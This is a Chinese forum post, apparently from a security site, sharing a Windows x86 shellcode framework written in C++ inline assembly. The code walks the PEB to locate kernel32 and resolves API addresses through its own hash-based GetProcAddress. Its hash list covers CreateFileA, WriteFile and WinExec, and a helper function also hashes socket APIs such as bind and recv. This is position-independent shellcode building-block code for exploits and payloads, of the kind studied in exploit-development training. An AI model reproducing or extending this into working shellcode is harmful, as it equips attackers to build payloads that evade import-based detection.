这个框架只是为了得到LoadLibray,以及自己实现了GetProcAddress。
// shellcode.cpp : 定义控制台应用程序的入口点。
//
#include "stdafx.h"
#include <windows.h>
void _declspec(naked) shellcode()
{
__asm
{
pushad;
mov ebp,esp;
sub esp,2000h;//create a stack
jmp seh_to_base;
funcs_1://LoadLibraryA:0x75399faf
__emit 0afh;
__emit 09fh;
__emit 039h;
__emit 075h;
//GetProcAddress:0xdc25496b
//__emit 06bh;
//__emit 049h;
//__emit 025h;
//__emit 0dch;
//CreateFileA :0x147d9b2b
__emit 02bh;
__emit 09bh;
__emit 07dh;
__emit 014h;
//WriteFile :0x046d7121
__emit 021h;
__emit 071h;
__emit 06dh;
__emit 004h;
//CloseHandle :0x15bd1b24
__emit 024h;
__emit 01bh;
__emit 0bdh;
__emit 015h;
//WinExec :0x04c95129
__emit 029h;
__emit 051h;
__emit 0c9h;
__emit 004h;
seh_to_base:
mov esi,fs:[30h];//得到peb
mov esi,[esi+0ch];//得到Ldr
mov esi,[esi+1ch];//得到InInitializationOrderModuleList
mov esi,[esi];//第一个链表的位置。ntdll
mov esi,[esi+08h];//第二个链表的位置。kernel32
mov edx,5;
get_base_func:
push edx;
push esi;
push esi;//dll base
mov eax,funcs_1;
mov eax,[eax+edx*4-4];
push eax;
call getprocaddress;//eax返回的为函数地址
pop esi;
pop edx;
dec edx;
jne get_base_func;
//加载动态链接库
add esp,2000h;
popad;
retn;
getprocaddress://除了esp,ebp以外,都可以使用。
mov esi,[esp+8h];//得到头部偏移地址
mov eax,[esi+3ch];//pe偏移
lea eax,[esi+eax+78h];//数据目录表中导出表的位置
mov eax,[eax];//导出表的偏移
lea eax,[esi+eax];
push eax;
mov esi,[eax+20h];//函数名偏移
mov ecx,[eax+18h];
push esi;
add esi,[esp+0ch];
push [esp+0ch];//hash
push [esp+14h];//dll base
call strloop;
pop ecx;
mov ecx,[ecx+01ch];
add ecx,[esp+8h];
lea ecx,[ecx+eax*4-4];
mov eax,[ecx];
add eax,[esp+8h];
ret 8h;
strloop://作用为从一个导出表里面查找一个特定hash值的字符串的索引
mov eax,[esp+0ch];//函数名指针地址表偏移
mov ebx,[esp+4h];//dll base
lea eax,[eax+ebx];//函数名指针地址表偏移
lea eax,[eax+ecx*4-4];//字符串位置
mov eax,[eax];
lea edi,[ebx+eax];//得到本次查询函数名的偏移
xor eax,eax;
push edx;
xor edx,edx;
call hash_loop;
pop edx;
cmp eax,[esp+8h];
jz end;
dec ecx;
jne strloop;
end:
mov eax,ecx;
ret 0ch;
hash_loop://作用为求一个字符串的hash值
xor dl,byte ptr [edi];
ror edx,11;
scasb;
jne hash_loop;
mov eax,edx;
retn;
}
}
void GenHash()
{
char * kernel32[] =
{
"GetProcAddress",
"LoadLibraryA",
"CreateFileA",
"WriteFile",
"CloseHandle",
"WinExec"
};
char * ws2_32[] =
{
"socket",
"bind",
"gethostname",
"gethostbyname",
"recv"
};
for(int i=0; i<sizeof(kernel32)/4; i++)
{
char * tmp = kernel32[i];
DWORD result = 0;
__asm
{
pushad;
xor edx,edx;
xor eax,eax;
mov edi,tmp;
hash_loop:
xor dl,byte ptr [edi];
ror edx,11;
scasb;
jne hash_loop;
lea eax,[result];
mov [eax],edx;
popad;
}
fprintf(stdout,"%s :0x%08x\n",kernel32[i],result);
}
}
int _tmain(int argc, _TCHAR* argv[])
{
//GenHash();
shellcode();
return 0;
}
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课